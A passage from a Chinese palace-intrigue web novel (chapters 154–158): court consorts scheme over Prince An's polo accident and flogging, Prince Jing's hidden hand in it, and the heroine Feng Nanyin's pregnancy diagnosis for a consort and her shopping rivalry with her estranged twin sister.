“不过就是一场意外,怎么就扯上朝堂纷争了,良妃妹妹也是小气,不知帮着压事,竟是在皇上书房外跪了半夜,只为了让皇上罚了我儿。” 德妃装作不知情,忙让人上茶。 “姐姐,到底发生了什么事?我这里什么都不知道,要如何替您说情?” 贵妃气愤难当,“还能是什么大事,不过就是良妃在那里挑事,称安王凶残、性子乖张,德不配位,在给我儿穿小鞋。” 德妃揉着脑袋,“姐姐,您说了半天,妹妹也只听了个一知半解,不过你放心,安王要真的什么都没有做,皇上不会冤枉了她的。” 贵妃定定地看着德妃,今日她要是不帮忙,儿子这个哑巴亏就吃定了。 “昨日马球,靖王也在场中,他是要是可以替他皇兄作证的,说安王是无心之举,是那马儿发了疯才撞翻了人,这事就过了。” “妹妹,只要你劝动靖王帮帮他四哥,日后我便不再让凤南茵去翊坤宫伺候。” 德妃心下冷笑,安王出事可是自己让儿子一手安排的,怎么可能为你说情。 她面上装作欢喜,“姐姐可真会挑人喜爱之事来做筹码,行吧,我这就叫靖王过来,看看这事他怎么说。” 第一百五十四章一百大板 贵妃心下得意,她就知道,德妃对这个新认的义女宝贝着,自己不过使唤了几日,瞧这心疼的,还真是不管什么事都答应。 “妹妹,那快随我一同去皇上书房吧,这会景颐还在听训呢。” 贵妃越是护着安王,替时景颐擦屁股,让他越是以为犯了错可以有恃无恐,将来便越是无法收手。 凤南茵见她们这就要走,有些懊恼,自己怎么就贪睡起晚了。 她忙往自己的寝殿回,“雏菊,快,给我梳个最简单的发髻,我跟去瞧瞧。” 余贵妃四个月的身孕,还没到显怀的月份,因着心中有事,脚下步子迈得很是急。 “德妃妹妹,你能快走两步吗?” 去得再晚些,皇上那边就处罚完了呀。 德妃故意走得慢,走几步就装出气喘吁吁的样子。 “诶,妹妹太急了,该是叫了步撵来的。” 她道:“诶,我这身子先前病的太久,这般疾行,我这心也慌的厉害,肺子也要炸了,当真是走不快。” 贵妃看了她两眼,“行吧,你稍后赶来,我先过去瞧瞧。” 余贵妃走远了,周嬷嬷嗤了一声,“贵妃整日娇气着养胎,使唤咱们冀宁乡主,这身子看起来可比娘娘好的多,这四个月身孕的人,走路还能带风的。” 德妃嗤笑,慢慢踱着闲庭信步向前,“又不是我儿犯错,本宫为何要眼巴巴凑到皇帝身前挨骂。” 前朝那边才出了事,后宫就得了消息,这不是摆明了告诉皇上,皇上身边有她们的眼线。 周嬷嬷附和着道:“贵妃真是病急乱投医,看来安王这次闯的祸事不小。” 书房,赵尚书痛哭流涕地跪在皇帝身前,无比哀痛地道:“皇上,吾儿才满弱冠之年,就已经考取了功名,下个月要下场参加会试,他本可接受家族安排谋个差事,可这孩子要强,一心想自己夺得前程,可如今他摔断了腰,大夫说他这辈子都要瘫痪了。” 赵尚书两鬓都白了,对自己的小儿子寄予厚望,一直视作骄傲,大好前程的人就这样被安王给毁了。 今日他就算拼了这个官不做了,也要皇帝给个说法。 何况,他们赵家在后宫并非无人。 良妃伤心地抹着泪,抽噎地道:“皇上,誉哥儿生下来,嫂嫂就去了,臣妾未出阁前,整日带着他,可以说是臣妾带大的孩子。” “臣妾今生都不能有自己的孩子,皇上应过臣妾,待我老了容臣妾出宫,臣妾是想着由誉儿养老的,可如今……” 她的容貌已不再年轻,她早已失了争宠之心,在后宫就是个透明人。 但她早年替皇上挡过刀子,这才不可能生育。 她虽不再受宠,可这后宫人都不敢小觑她在皇帝心中的地位。 皇上此时只气安王不争气,成事不足,败事有余。 以往觉得这个儿子还算能干,如今细想来,竟是一事无成,怕那南水北调的法子也是他身边的谋事想出的主意,到他面前卖乖。 “安王,你有什么解释?” 安王此时还满不在意,道:“马球本就是这样,有一定的风险在里面,他赵誉技不如人自己栽下马,怎么就将矛头都责怪向儿臣了?” 赵尚书生气的就是这点,明明是安王害了他儿子,却半点不肯承认,推卸个一干二净。 他气得全身都在颤抖,却不敢直接指责,只是不停地磕头。 “皇上,当时在场几十双眼睛,事情发生经过都瞧得清楚,臣只求皇上给个公允。” 他额头砰砰触地,没一会就见了血。 赵尚书是朝中肱骨之臣,今日这事若轻轻揭过,必让朝臣寒心。 “安王,现在就向赵大人认错。” 安王一脸的委屈,“父皇,儿臣解释过了,那马当时受了惊,儿臣的马奔着赵誉就冲了过去,儿臣怎么控得住一匹疯马?” 赵尚书再也忍受不了,他哆嗦着手,摘下头顶官帽,一副心死的模样。 “皇上,请恕臣痛失爱子,身心俱疲,再不能为朝廷效力,允了臣致仕归田,不能再配合安王调度工匠兴建土木。” 皇上怒了。 “胡闹,你身在要职,岂是你说卸任就卸任的。” 皇上失望地看向安王,“景颐,朕一直觉得你勤勉、事事都争抢在前,替朕分忧,是个有担当的性子,万没想到我竟是这般颠倒黑白,怕担负责任的人。” “天子犯法与庶民同罪,今日不给你一点教训,你这性子还不知要张狂什么样。” “父皇?” 安王确实心下委屈,他没说半个字谎话,父皇怎么不信他。 “来呀,拉下去,打一百大板,不给你一点教训,日后只会纵着你越发目中无人。” “皇上,皇上不可啊!” 大冷的天,贵妃走得一身是汗,总算是赶了过来。 她一进殿,就跪在了安王身边,眼泪就落了下来。 “皇上,景颐自幼胆小怕事,参政以来,朝臣皆赞他为人恭敬,从不自诩身份压人,今日一事必有隐情,还请皇上明察。” 良妃缓缓从地上起身,冷漠地看着贵妃。 “姐姐,你是在责怪皇上处事不明了?这事皇上若是没有查,咱们怎敢诬蔑攀咬当朝王爷?” 皇上寒了脸,“贵妃,你还在安胎,怎么就出宫了?还是回宫好生养着身子,莫要再动了胎气。” 贵妃见局势不利,看向靖王。 “靖王,当时你不是也在场,你快为你四哥说几句话啊?” 靖王无奈地摇了摇头,“贵妃娘娘,儿臣当时离四哥与赵公子十米开外,看不真切,只知最后香燃尽之前,赵公子正欲接下最后一球,胜负便定了。 四哥应该是不想输了面子,马打的过急,奔着赵公子马身冲去,马蹄高扬的一瞬间,赵公子也正在加速接球,这才躲闪不急生生踹下马身……” 后面的话他没有说,算不算意外,可不用由他来定。 “什么?竟然是马蹄子踹下去,这分明是故意杀人。” 赵尚书一声哀嚎,“求皇上做主!” 余贵妃直接急了,“景轩,你也说了,你四哥是想阻赵公子接球,才会冲过去,马既然会扬蹄,就说明他是想勒住马,球场之上本有风险,这是意外啊皇上。” 她在心中咒骂,郑文姬这个贱人怎么走的这样慢,她再不来让靖王说情,景颐就挨罚了啊! 她一时心急,只想将此事用老法子安抚下去。 “皇上,赵公子已经残了,臣妾愿意出银子赔偿,可这一百板子真的打下去,景颐会没命的啊,皇上。” 第一百五十五章靖王作局,安王受罚 良妃一声冷笑,“贵妃娘娘竟然想用银子息事宁人,这么说来,你也承认,是安王故意伤人了?” 安王大声反驳,“儿臣说过,一切都是意外,良妃莫要如此误导母妃,我们愿意出银子,只不过是我的马伤了他,这和故意扯不上半点关系。” 他今日心中实属憋屈,下人献了一匹西域马匹,高大威猛,他以为畜牲不过是主子随心驾驭的东西,没想到给他闯了这么大的祸。 赵尚书见这时安王都不想承担责任,心中恨意翻涌。 他额头上的血滑落下来,糊了眼,抬抹了一把脸,却是糊了半张脸的血,睁开眼,眼前一片赤红。 他苦笑一声,“臣殿前失仪了。” 他似感受不到疼一样,又是一头碰触下去,那血瞬间染红了青石板。 赵尚书看着自己的血,今日他不要了这一身官服,也要为儿子讨要说法。 “贵妃娘娘担心安王,臣能理解,毕竟一百板子确实难捱,可宫中有最好的大夫,皮肉伤不过半个月就能养好,誉儿却是腰骨碎裂,一辈子都不能治愈。” “贵妃娘娘,您心疼安王受苦,可我也是誉儿的父亲,我的老妻因为誉儿的伤势几次哭昏厥过去。臣知道,以下犯上罪该万死,可臣今日拼了这条命,也求皇上给个公允。” 皇上脑仁突突的疼,明眼人都能看出来,他说的打板子不过是表面安抚,根本不可能伤了安王根基,偏贵妃在这里闹事,一点小小的惩戒都不肯。 忽然对罪妃的那点怜惜之意,因为她不明事理而消失殆尽。 “请贵妃回宫好生养胎。” 德妃在宫门口站了有一会子了,这廊下的风早就吹得她受不住,终于等到她该进场的机会。 “皇上,臣妾……” 她手里捂着一物,进了宫殿后,有一瞬间的呆滞。 “怎么赵尚书、良妃妹妹都在此?” 她半蹲了身子福礼,“臣妾刚得了贵妃姐姐送过去的凤梨,很是爽口,就命人用酸乳酪拌了给皇上送来,臣妾不知皇上在会见朝臣,这宫门口也没个守门太监,还请皇上恕臣妾冒失之罪。” 皇上看向贵妃,眼神虚眯。 刚刚这女人就让靖王帮忙扯谎,一早上又去找德妃,这是安王一入宫她便得了消息,看来他这御书房的一举一动都被贵妃盯得个明明白白了! “将果子放下,你陪贵妃下去吧!” 他这也算是处理朝政,这后宫妃嫔一个两个都赶了来,成何体统。 良妃却在这时瞪向贵妃,“从前有一事我倒是忽然想起来了,这皇宫能在二月天吃到凤梨的,好似只有贵妃一人,记得从前的妙嫔如今的丽妃也曾怀过身孕,好似正是吃了贵妃娘娘赏下的凤梨小产的?” 德妃就似什么都不知一般,瞪圆了眼睛。 “竟有这等事?” 她慌乱道:“皇上,臣妾不知凤梨伤身,这果子臣妾还是带走吧。” 贵妃怒了,猛然转头时,发髻上的流苏相撞,发出剧烈的叮咚声响。 赤红着双眸,狠狠地盯着德妃,“两位妹妹休要胡言,凤梨怎么会害人?” “还有,德妃你这是做什么,刚刚在钟粹宫你明明应了我的,此时竟然和我玩阴奉阳违?” 德妃吓得向后退两步,险些被她自己的裙摆绊倒,那慌乱劲似是被贵妃吓到般。 好在靖王动作快,将人扶住。 “母妃小心。” 他冷漠地看向贵妃,“娘娘,母妃什么都不知,您怎能说她在阴奉阳违?” 德妃眼神哀怨,无助地看向皇上,“皇上,贵妃刚刚去钟粹宫寻我,说什么一定要让景轩替安王说情,还拿南茵做要挟。” “可臣妾对你们在商议之事全然不知情,根本不知要说什么。” “够了!”皇上一声怒喝,“将安王拉下去打一百板,禁足百日。” “贵妃干涉朝政,禁足一个月,任何人不准探望。” 他又想了想,“朕见你这身子调养的极好,这些日子调补的法子你也知道了,就莫要让凤家那丫头再过去了。” 以往他就是太纵着这女人,竟是让她在这后宫越来越无法无天。 外面已经响起板子声,贵妃听不得儿子哭叫,感觉心都碎了,她脚下无力,只能由丛嬷嬷拖着才能离开。 走前,贵妃眼神如刀,瞪向德妃后又扫向良妃,这一眼里皆是恨色。 她心中暗道:都与本宫对着干是吧,本宫眼下失势,不会一辈子失势。 她手放在肚子上,待腹中孩子生下来,奶呼呼的肉团子,不怕引不来皇上的关注,到时候有你们好看! 德妃与她打交道二十年了,又怎么看不出来她打的什么心思。 德妃根本不在乎。 她对赵尚书道:“我那里才得了南茵孝顺的四百年人参,让人拿过来给赵大人带回去,令郎的伤势本宫无能为力,只希望这参能帮他减少痛苦。” 良妃感激万分,对着德妃行礼。 “多谢姐姐如此有心,只是那参价值不菲。” 她们拿了人情怕是不好还。 赵尚书却是在心中有了成算,安王伤他儿子至此,这个仇解不开,日后他拼上一家人性命,也会阻止安王登基。 他忙谢恩,“老臣替誉儿谢过娘娘。” 她忽又似想起什么,对皇上道,“皇上,臣妾知道一人医术了得,只是他现在不敢行医,不然让此人为赵公子瞧瞧,说不定还能有站起来的希望。” 皇上也希望那赵誉身子好起来,不然皇子伤朝臣之子的诟病就会一直被人说下去。 “何人让他不可再行医。” 德妃讪讪,“臣妾不好在背后说他人坏话,只求皇上恩准此人日后可再行医,臣妾想来他说不定能帮上赵公子。” 良妃眼睛转了一圈,好似想起来二十年前宫廷那场风波。 她道:“姐姐说的,可是宫院判?” 德妃发现这位良妃妹妹不简单,看她深居后宫,不问世事,确实将宫中之事全部了然于胸。 她笑了笑道:“正是南茵那丫头的师伯,这丫头医术好,少不了宫大夫的指点。” 皇上不知宫良当年得罪的是皇后,大手一挥,“有用之才为何要让他埋没,传朕口谕,让此人即刻到赵尚书府为赵公子医治。” 凤南茵在宫门外将全部听了去,也看到安王被打得血淋淋拉走。 她心中揣着忐忑,今日这事,看似一切是为了帮她摆脱贵妃的纠缠,可也让靖王得了一大助力。 可是,那赵公子是何等的可怜…… 看向靖王的身影时,不由得生出一丝惧意。 靖王站在廊下看着人行刑,自然感应到有人在偷窥他,那边人被带下去后,他向凤南茵走过去。 高大身影逆着光,五官都笼罩在暗色当中,让人看不清神态,凤南茵紧张地抿了一下唇。 “我没想偷听,只是在等娘亲出来。” 靖王扯着她的衣袖将人往无人的后殿拽,“本王知道你一肚子话想问,今日给你一次机会。” 第一百五十六章靖王的心机 凤南茵本就长得慢,又瘦又小的人被靖王像拎小鸡仔一样拽到清冷的偏殿。 二人才进了偏殿,凤南茵就躲得远远的,视靖王如洪水猛兽一般。 靖王忍不住想笑,“怎么,开始怕本王了?” 凤南茵忙扯谎道:“怎么可能,我怕谁,也不能怕王爷您呀。” 可她嘴上这样说,却趁着靖王不注意,轻轻提着裙子转身想溜走。 凤南茵是有些怕靖王的,主要是她发现这人每走一步都在算计,自己这点脑子还是离他远着一点好。 而且在这偏殿,鬼影子都没一个,孤男寡女的,总感觉怪怪的。 她屏住呼吸,踮着脚一步步向宫门口溜,眼看就能夺门逃走,自己的小辫子忽然一痛。 “哎呀,痛痛痛。” 凤南茵在心中咒骂,靖王是后脑勺长眼睛了吗,都这样小心了,还能被他抓住。 时景轩忍不住好笑,“你跑什么?” 凤南茵才不会说,就他们两人,她觉得不自在呢。 靖王忽然就弯了腰,一张俊美如韬的脸猛然就放大到凤南茵近前。 “小狐狸也有胆怯的时候?本王还以为你无法无天呢!” 他呼吸的热浪都扑在凤南茵的脸上了,带着一股清冽的龙涎香味,让凤南茵忍不住羞红了脸,别开头。 “谁是小狐狸,谁无法无天了。” “别以为本王不知,那盘凤梨是你拿给母妃的。” 他在凤南茵脑门上弹了一个爆栗子,“小小年纪,思虑的比母妃都深远,你不是小狐狸是什么?” 还敢躲在御书房的窗台下偷听,脑袋是不想要了。 凤南茵不说话,她顶嘴也无用,反正她所做一切都是为德妃好。 可是靖王就不同了,说是帮她,却害了别人一生,还能坐收渔翁之利,且没有半点悔悟之心。 忽然脑门又传来一阵剧痛,她竟是又被弹了。 “疼!” 靖王不悦道:“收起你那蔑视的小眼神,你这种什么心思都挂在脸上的性子,早晚吃亏。” 凤南茵这才知道,原来她的心事都被靖王看穿了,当下一骇,她还以为自己隐瞒的很好呢。 靖王负手于身后,看向窗外,也是防着有人偷听。 “那赵誉确实有才华,却是心胸狭隘,不容于人的性子。今科白鹿书院有一个寒门越姓学子,考取榜首的呼声极高。” “那赵誉在浮光雅园吃酒时,曾大言不惭,必让越思辰落榜。” 他转回头看向凤南茵,“寒门学子出头,比之常人要吃得百倍苦,万倍难,他却因为自己私心,想无人与之争锋就准备暗下黑手。 他这等人不思如何提高自己,想用旁门左道独占鳌头,这等人,就算入了朝堂,也会利用赵尚书的势力打压异己,并非良臣。” 凤南茵垂了头,“可……” 这种人虽然可恨,可到底被毁了一辈子。 “放心,为他看诊的大夫是我找的人,不过说了几句危言耸听的话,不然这戏份怎么做得足。他虽断了腰,却是能够治愈了,届时你师伯还能得赵尚书一份人情。” 凤南茵忍不住暗暗翻白了。 “我师伯才不屑白捡这份人情。” 靖王晓得小丫头性子正派,不接受这种好意,他全当没听到。 “行了,你回去吧,一会母妃寻不到你该着急了。” 靖王又似想到什么,道:“过了正月十五,秀女便会采选入宫,为期三个月在长春宫学规矩,这期间无事,你倒是可以出宫放松放松。” 秀女学规矩的时候,连宫门都出不来,凤南蓉想找南茵都没机会,让这丫头出去好好散散心。 凤南茵年纪毕竟小,又在乡野长大,这两个月在后宫圈得有些厌倦了,当初的新奇也早在陪七公主玩乐的那段时间都逛够了。 听到可以出宫,当下心情雀跃。 随后她忽然想起一件事。 “对了,翊坤宫那边盯了这么久,真的没有发现吗?我前个明明看到贵妃娘娘寝宫内有一只男子的脚。” 说起这事,靖王沉了脸,“此事你不要插手了,暂且她还不能动。” 安王一再犯错,也不过是被禁足,很显然是父皇有意偏袒,利用四皇兄来牵制他。 说白了,还不是怕儿子羽翼过丰,威胁到他的皇位。 这种帝皇权术,早在他离京去边关之时就已经晓得。 而太急迫捅出贵妃深宫养男人一事,告密者也不会有好下场,还需要父皇自己发现才好,此事要徐徐图之,不能操之过急。 凤南茵心中虽然好奇,总归是学会了谨慎,不再多问。 “那我陪娘亲几日,就请旨出宫。” 外面的花灯节她还没逛过,过了十五,柳树犯青,就能游湖了,京城那么多风景宝地她也没看过,这一次出去,她要玩个痛快。 宫中消息传的最快,贵妃因安王一事又被皇帝再次厌弃,众人都是惊诧不已,说什么的都有。 有人说贵妃如今年纪大了,还想仗着年轻时的美貌恃宠而骄,活该被罚。 还有人说,要不是她肚子里怀着孩子,怕是再无翻身之日了。 丽妃得了消息后,却是暗叹可惜。 为什么她这种恶毒的人还能平安地生孩子,而自己…… 她抚摸着肚子,如今皇上日日都会宠幸她,南茵给的调理的方子每日都在用,也不知她这辈子可还能生下一儿半女。 想到这里,她还没有正式谢过南茵,于是从皇上给的众多赏赐里,挑了件最名贵的珊瑚摆件,用红绸盖住,去了钟粹宫。 凤南茵已经在收拾行李,这一次她要出宫长住,连雏菊与蝶兰都跟着带出去享福,三个人叽叽喳喳的欢快声音,隔着两道墙都能听到。 周嬷嬷叹了一声。 德妃也随之长叹了一声。 随后主仆二人相视一眼,不由苦笑。 德妃:“南茵若走了,这钟粹宫又要冷清了。瞧她们欢喜的,就像要飞出牢笼的雀,已经关不住了。” “小主子能笑的这样开心,还不是娘娘宠的,入了后宫的人,小主子幸福指数怕是第一人了。” 德妃轻笑一声,“是啊,这后宫女人看似光鲜,无尚荣光,终其一生也不是这小小牢笼里的鸟,再也飞不出去了。” 可每三年,依旧有那些前仆后继的少女争相入宫,总以为是能一步登天的好机会,可这后宫又埋掉多少芳华白骨。 “娘娘,丽妃来了。” 德妃近来应付这些妃嫔已经厌烦无比,听到是丽妃,对夏公公道:“肯定是来见南茵的,叫她直接去偏殿,不用来给我请安了。” 丽妃很识趣,没去打扰德妃,由人引着进了偏殿。 “南茵,听说你要出宫,特意给你带了件东西拿回家。” 凤南茵见她来了,忙拉人进来坐,“上次娘娘站出来说公道话,帮了南茵大忙,我都没来得及去谢您,娘娘还要送我东西。” 丽妃拍了她的手,“你和我说什么谢,我这条命都是你的,孰轻孰重,谁亲谁远我还能分不清,难道让我帮害我之人?” 凤南茵不知不觉将手放在她的皓腕上,慢慢眼睛亮了。 “娘娘,您的月信这个月可准时来了?” 第一百五十七章出宫相遇,冤家路窄 姜妙梨见凤南茵这样问她,轻轻摇了头。 念芯叹气,“乡主所有不知,咱们娘娘从前落过水,后来没多久又小产,打那以后,这月信就没准过,时常要延后十天半个月的。” 凤南茵道:“娘娘体寒,可以慢慢温补调养,多注意保暖是能改善回来的,月信推迟与营养不良过瘦也有一定的关系。” 姜妙梨点头,“现在日子好过了,我会尽量多吃些的。” 凤南茵笑得眉眼弯弯,见丽妃一脸愁容,似有化不开的哀怨一般,轻声道。 “娘娘日后挑有营养的滋补,不可过盛,不然这孩子养的太大,生产时可是会有危险的。”她说这话时,调皮地眨了眨眼。 姜妙梨瞪圆了眼睛,一时没懂。 “孩子?” “恩,虽然日子尚浅,但我有七成把握,娘娘有了。” 姜妙梨将手放在小腹处,不敢相信自己又怀孕了。 “我真的还能再有孩子?” 念芯眼里全是光,竟是没忍不住哭了。 “娘娘,这下是真的苦尽甘来,娘娘日后也能有倚靠了。” “念芯,我不是做梦吧?我又做母亲了?” 女人一辈子没孩子,比不受夫君宠爱还要悲惨。 后宫没有生养的女子,待皇帝死后,会被要求陪葬,无论身份高低。 如果,她生下男孩,她可以随儿子出宫生活,若是女儿,也可回娘家养老。 巨大的惊喜冲击着姜妙梨的大脑,她不知是高兴还是难过,最似最难熬的那些时光都是梦境,又怕现在的幸福又会一场空。 眉头舒了又蹙,蹙了又展,随后就要给凤南茵跪下。 “南茵,此生叫我如何报答你才好。” 凤南茵忙将人搀扶起来,无奈道:“娘娘,您总是把感激挂在嘴上,南茵都不知要如何与您相处了。这本就该是您的福气。” 丽妃恍然,是啊,真正的感激哪有时常挂嘴上的,放在心中就好。 “好,以后我不说了。” 凤南茵又叮嘱她,月份小的时候不要宣扬,若是不放心,半个月后她会回宫再替娘娘诊脉。 二人又说了一会子话,这才离开。 直到丽妃走了,雏菊才把她带来的礼物打开来瞧了,竟然是珊瑚摆件,上面还嵌着大小红色宝石。 “主子,这个摆件太名贵了,听说整个皇宫也就三件,一件大的在皇上的御书房,一件树型的在贵妃娘娘翊坤宫,还有一件一直没展示世人的“鸿运当头”,说上面一共嵌了六百六十六颗红宝石,寓意顺遂,其中六颗极品红宝石成色极佳,每一颗都价值千金。” 凤南茵被雏菊说的生出了好奇心,趴在那件摆件上看,这一看不要紧,原来细密的珊瑚枝头可不嵌着数不清的宝石。 其中几粒显眼的地方,红宝石大如指甲盖,晃人眼。 “这太名贵了。” 名贵到无法估价,用价值连城来形容都不为过,丽妃竟然将此宝物送给她了。 她心中感谢丽妃这样用心,可拥有这等宝物是福气,也是祸端,她可不敢带出宫。 “我和娘亲说一声,还是收在钟粹宫吧。”也只有留在宫中才叫人安心,也成了她的镇殿之宝。 凤南茵出宫了,像放飞的鸟,全身都是轻松自在。 皇宫正阳门前对着的就是京都第一繁华大街,凤南茵来京城许久,包括先前住在安国公府都没转过这里。 如今她荷包充足,背有靠山,在这京城也是能横着走的人了。 她扬着小下巴,迈着四六不认的四方步,眼睛睨着全京城最大的诚意铺子。 “咱们买衣服去,你们俩个相中啥,咱就买啥,主子我有钱。”她拍拍叮当作响的荷包,豪气万分。 街对面茶楼里坐着的男人将下面三个才出宫的小小身影全部收在视线当中,忍不住勾唇。 原来她还有这样一面。 魏锦豪气地想探出脑袋向外看,“我刚刚怎么听到凤丫头的声音了?” 靖王拿起桌上的折扇当他脑袋挡住,随后示意夜风将窗子关了。 “祁阴山的事情盯得如何了,眼下可不能出半点马虎。” 魏锦不敢怠慢,收了杂乱的心思,忙道:“已经可以确认,那里私挖出来的矿都被山中隐秘筹建的锻造厂收了,锻造厂幕后的主子还没查到,却是顺着他们出货的交易路线,找出了买下兵器的是北蛮人。” 靖王阴沉了脸,额头有青筋隐隐暴起。 “好,好的很,私自锻造武器已是大罪,竟然通敌叛国。” 此事不揪出幕后主子的把柄,他誓不为人。 “子明,你重点关注安王与余尚书的账目,有一丝蛛丝马迹都不能放过。” …… 凤南茵不知刚刚路过的茶楼上面有她的朋友,这会带着两个婢女直冲诚意铺子。 雏菊和蝶兰入宫三年了,打进了后宫再没出来过,都快忘记外面的繁华是什么样了。 凤南茵先给二人挑了一身将常服换了,不然雏菊和蝶兰的宫妆太扎眼, 小二见凤南茵出手阔绰,金瓜子从荷包里拿出来一抓一大把的,忙将人往二楼迎。 “一看小姐就身份贵重,这一楼都是寻常货,在哪家店都能买到,二楼就不同了,是赫赫有名金娘子亲手绣制裁剪的衣衫,每件都是独品,您要不要去看看?” 凤南茵点头,“好啊!” 反正是逛街,开心最重要,她眼下可不是差钱的人。 彩云阁二楼做了展台,全是眼下时兴的春衫,每一件都华丽且独特。 三人望着悬挂着琳琅满目的衣衫,有一种土包子进城的感觉。 她们虽在宫中,那里有这世上最好的绣娘,有最上等的布料,每日都能见到高贵的妃嫔们穿着最华丽的宫装,却不及这民间衣裙有风情。 这里每一件衣裙都似带有自己生命一般,各式各样的款式,都有它独特的美。 雏菊望着眼前的衣裙,一脸的渴望。 “可惜现在天还冷着,不然乡主穿上这么漂亮的春衫去游园,得多美啊。” 三人站在一件月白锦绣白玉兰的春衫前,周身的白绸垂顺华贵,腰身玉带是银色丝线绣制,裙摆延展出的玉兰花枝像有生命一般,摇曳生姿,花蕊用的都是米珠。 衣服精致淡雅,偏衬了大红的内裙,视觉冲击力不是一般的强大。 凤南茵很喜欢这件衣服,可是不适合她的气质,而且她这半年虽然长个了,还是个小孩子模样,衬不起来。 “可以买下来送丽妃。”再回宫时天就暖了,刚好做回礼。 她还没来得及说包起来,身后女子霸道的声音响起。 “这件衣服好看,我买了。” 凤南茵回头,对上凤南蓉挑衅的眸子,眼中皆是得意。 “妹妹?刚刚我还以为看花了眼,原来真的是你出宫了。” 凤南茵心底生出一片厌恶。 凤南蓉这半年又长个子了,二人虽是双胞胎姐妹,可她已经高出凤南茵一个头。 出落得亭亭玉立,纤腰丰胸,已是成年姑娘的模样。 她看着站在两个丫鬟中间,矮小得像个娃娃一样的凤南茵,嗤笑。 “妹妹,这衣裙你就别肖想了,你撑不起来,买回去也是浪费银子挂那吃灰。” 而她就不同了,过了十五入宫面圣那天,她就准备穿这一件,必能成为万众瞩目最夺人眼球的那人。 凤南茵冷笑,“谁是你妹妹?” 第一百五十八章争抢 凤南茵随手扯下腰间的荷包,一股脑地将荷包丢给小二。 一整袋的金瓜子,沉甸甸地砸手,小二接下来的时候痛得呲牙咧嘴,却是高兴的眉飞色舞。 就听凤南茵豪气地道:“这衣服我买了,雏菊,你随小二下去结账。” 小二卖出衣服就能提到银子,当然是谁先掏钱他就服务谁。 他忙应喝着,“好勒,小的这就命人将衣服取下来给贵人包好。” 凤南蓉站在原地,身子抖的厉害。 “不许去,这衣服是我先说买的。” 她恶狠狠地瞪着凤南茵,“你是与我做对习惯了是吗?我都说了,衣服你买回去也是放那吃土,你这身形根本穿不上,你一定要和我抢吗?” 凤南茵看着她依旧用从前那副趾高气扬的嘴脸与自己说话的人,忍不住笑了。 “凤南蓉,你当自己是谁?昔日的安国公府嫡出大小姐?” “你一口一个妹妹,在唤谁?” 从前,她真心实意对凤家人好,落了什么结果? 从断亲那天开始,她再也不会心软,再也不会惯着凤南蓉。 凤南蓉被羞辱得连连倒退。 亏得这会周围一个人没有,不然她真的没有脸站在这里。 昔日的身份再不是她的荣光,而变成了耻辱。 “凤南茵,就算你不想认我,我们血液里流的也是相同的血,你撇不清这份关系。” 蝶兰一直没敢说话,就是不知眼前趾高气扬的少女是谁。 万万没想到她就是与小主断了亲的凤家人。 她嗤了一声,“今天算见识到什么是没脸没皮了,我要是你见到咱们乡主就躲得远远的,竟然还有脸贴上前自称是姐姐。” 雏菊这会拿着荷包回来了,附和道:“可不,自己不想嫁的人,就将自己的亲妹妹推出去,还当自己做的天衣无缝,别人看不穿那点小伎俩呢。” 殊不知她们小主子才是最聪慧的那个。 凤南蓉心中憋着怒火,偏如今势单力薄,无权无势抵抗。 这时又有客人走上二楼,她不想被人看了笑话,偏又撑着脸面不肯服软。 扯着嘴角呵笑了两声,“这是做什么,不过就是一件衣服,冀宁乡主争得这样面红耳赤的,本小姐不要就是了。” 她抚摸了一下脸蛋,扭着腰肢往里走,浏览着其它衣裙。 “本小姐身量高挑,天生丽质,这里的哪套衣服穿在我身上都一样地好看,不像某人,像个怠笋一般,这里的衣裙只能买回去干看着,这辈子能不能穿上都两说呢。” 她像是自己寻到了安慰,竟是捏着帕子捂住唇咯咯笑了起来。 雏菊和蝶兰被她的话气的捏紧拳头,偏人家没指名道姓骂,这话不能接。 凤南茵却是笑笑。 嘲讽她个子小,那又怎么了,她长身体的那三年饭都吃不上,能活到今日,她已是知足。 她见凤南蓉又对一套葱绿绣满蝴蝶样式的衣裙,她勾了勾唇角。 从怀里摸出一沓银票,“小二,将剩下的这九套春衫全部包起来,本小姐都要了。” 凤南蓉回头怒瞪着她,眼睛若是能喷出火,一定将凤南茵烧死。 二楼的其余客人也是震惊,到底是哪个府邸的小姐,出手这样豪阔,竟然将金娘子今年的全部春衫都买了。 要知道金娘子一个季度就出十件,多一件都没有。 凤南茵笑着勾唇,故意道:“本小姐穿不了,可以挂着欣赏,可以拿回去送下人。” 一副我有钱,就喜欢任性,你能奈我何。 今天她就让凤南蓉一件衣服也买不到,大不了身上的钱花光了再去取。 凤南蓉捏着拳头,她今天出门,母亲给了足足一百两。 她以为够了,没想到今年金娘子的衣服每件都涨价上了一百五十两,原本她可以先定下来再来送钱。 可是没想到凤南茵如今这样有钱,随身能带一摞银票出门。 气死她了,气死她了。 …… 凤南茵今天出了大风头,不想再惹人眼,出了金缕楼便坐了马车回了南苑。 回到房中,她将那套如月华般仙流裙,和翠绿百蝶裙挑了出来。 “雏菊,明日一早你亲自入宫将这两套衣裙送到春华宫,交给丽妃。” 剩下的这些她先留着,日后说不准能卖给宫中的各位小主,反正她穿不上,也不会放着积灰,才不会白白浪费衣裙。 凤南蓉回到家就气病了,躺在榻上不停地流着眼泪,一句话不说,一口饭不吃。 盛青岚急的不行,扯过她的婢女问,“到底怎回事,说好了出去买衣服,怎么回来就病了?” 钰儿不敢当着小姐面说,带着夫人去了客厅。 “今天咱们去金缕阁碰到二小姐了,与二小姐相中了同一条衣裙,被对方抢了。” 凤氏皱眉,“一件衣服,也至于气成这样,买其它的就好,那金娘子出的衣服件件都是精品,哪件都衬人。” 钰儿心情也不好,难过道:“二小姐将金娘子做的衣裙全买了回去,咱们小姐银钱带的不够,根本没机会。” “什么?” 盛青岚都震惊了,就算安国公府在鼎盛之时,她也没说一口气买十套金娘子的衣裙。 一件百两的衣裙,可是能买一百石大米了,德妃现在宠凤南茵到了这种程度? 随手给她这么多银钱乱花? 她心下后悔当初亏待了南茵,不然有德妃这样的喜爱,南蓉与靖王的亲事未必不能再重提。 可是事已经至此,也只能认了。 “你让厨房给小姐熬碗米粥,我去劝劝她。” 盛青岚才坐到床边,凤南茵就扭过身,瞪着红肿的眼睛,哀怨地看着她。 “母亲,女儿咽不下这口气,不甘心,不甘心。” “多大一点的事,不就是衣裙吗,母亲与那金娘子也算有些交情,让她为你量身定做一套就是了。” 凤南蓉不哭了,没想到母亲还能让金娘子量身定制。 “可是母亲,过了十五我就要入宫了,这么短的时间哪来得及?” 盛青岚虽然心疼要花出去的数倍银子,到底是不想女儿失望。 “你真当那衣服是她一个人做出来的?她养着十几个绣娘呢,只要肯加银子,三天就能赶出一件衣服,来得及。” 